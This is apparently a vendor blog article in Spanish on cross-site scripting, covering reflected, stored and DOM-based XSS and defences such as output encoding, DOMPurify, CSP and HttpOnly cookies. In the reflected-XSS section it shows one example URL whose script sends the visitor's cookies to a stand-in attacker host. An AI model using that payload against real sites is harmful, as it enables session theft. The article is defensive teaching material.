Sécurité

Protección XSS completa: Guía definitiva

Cross-Site Scripting (XSS): tipos de ataques, vectores de explotación y guía completa de protección con ejemplos prácticos.

15 mars 20264 min de lectureWarDek Team

Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades más explotadas en la web. Según OWASP, aparece en el 75% de las aplicaciones web auditadas. Un ataque XSS permite a un atacante ejecutar código JavaScript en el navegador de tus usuarios, robando sesiones, redirigiendo a sitios maliciosos o modificando el contenido de la página.

Tipos de XSS

XSS Reflejado (Reflected)

El payload malicioso se envía como parte de la petición (URL, formulario) y se refleja inmediatamente en la respuesta del servidor sin sanitizar.

Ejemplo de URL maliciosa:

https://tusitio.es/buscar?q=<script>document.location='https://atacante.com/robar?c='+document.cookie</script>

Si el servidor devuelve el parámetro q sin sanitizar en el HTML, el script se ejecuta en el navegador de la víctima.

Vector de ataque: enlaces maliciosos enviados por email, redes sociales o mensajería.

XSS Almacenado (Stored)

El payload malicioso se almacena permanentemente en el servidor (base de datos, comentarios, perfiles) y se ejecuta cada vez que un usuario visualiza el contenido infectado.

Ejemplo: un atacante publica un comentario que incluye un tag <script> con código para enviar las cookies del visitante a un servidor externo. Todos los usuarios que lean ese comentario son afectados.

Vector de ataque: formularios de comentarios, perfiles de usuario, mensajes, cualquier input almacenado.

XSS basado en DOM

El payload no pasa por el servidor. El JavaScript del lado del cliente manipula el DOM de forma insegura a partir de fuentes controlables por el usuario (URL, localStorage).

Vector de ataque: manipulación de URL, parámetros de fragmento (#), postMessage. El código JavaScript vulnerable toma datos del URL y los inserta en la página sin sanitizar.

Impacto de un ataque XSS

Protección lado servidor

1. Encoding de salida (Output Encoding)

La defensa principal: codificar todos los datos dinámicos antes de insertarlos en el HTML.

// SEGURO — encoding HTML antes de insertar en la respuesta
function escapeHtml(text) {
  const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#039;' };
  return text.replace(/[&<>"']/g, m => map[m]);
}
res.send(`<p>Bienvenido, ${escapeHtml(username)}</p>`);

Nunca insertes datos de usuario directamente en el HTML mediante concatenación de strings sin encoding previo.

2. Validación de entrada (Input Validation)

Validar todos los inputs con esquemas estrictos:

import { z } from 'zod';

const commentSchema = z.object({
  text: z.string().min(1).max(5000),
  author: z.string().min(1).max(100).regex(/^[a-zA-ZáéíóúñÑ\s]+$/),
});

3. Sanitización HTML (cuando necesitas HTML rico)

Si necesitas permitir HTML limitado (editor WYSIWYG, markdown), usa DOMPurify:

import DOMPurify from 'dompurify';

// Sanitizar HTML — elimina scripts, eventos, atributos peligrosos
const cleanHtml = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href'],
});

Regla de oro: nunca insertes HTML de usuario en la página sin pasar por un sanitizador. DOMPurify es el estándar de la industria.

4. Content Security Policy

CSP es la segunda línea de defensa. Incluso si un XSS pasa la sanitización, CSP puede bloquear la ejecución:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'

Protección lado cliente (frameworks modernos)

React

React escapa automáticamente el contenido en JSX:

// SEGURO — React escapa automáticamente
return <p>Bienvenido, {username}</p>;

Evita usar APIs que insertan HTML crudo sin sanitizar. Si es imprescindible insertar HTML dinámico, sanitiza siempre con DOMPurify primero.

Vue

Vue también escapa por defecto con interpolación {{ }}. Evita v-html con contenido de usuario sin sanitizar.

Angular

Angular sanitiza automáticamente las interpolaciones y marca como inseguro el contenido sin sanitizar.

Cookies seguras

Protege las cookies de sesión contra robo por XSS:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Herramientas de detección

Testing manual

Testing automatizado

Checklist anti-XSS

Cómo WarDek detecta XSS

WarDek incluye un módulo específico de detección XSS:


Escanea tu sitio web gratis con WarDek — OWASP, NIS2, RGPD, AI Act en un solo escaneo.

#xss#seguridad-web#vulnerabilidades#sanitizacion

Scannez votre site gratuitement

WarDek détecte les vulnérabilités mentionnées dans cet article en quelques secondes.

Retour à Sécurité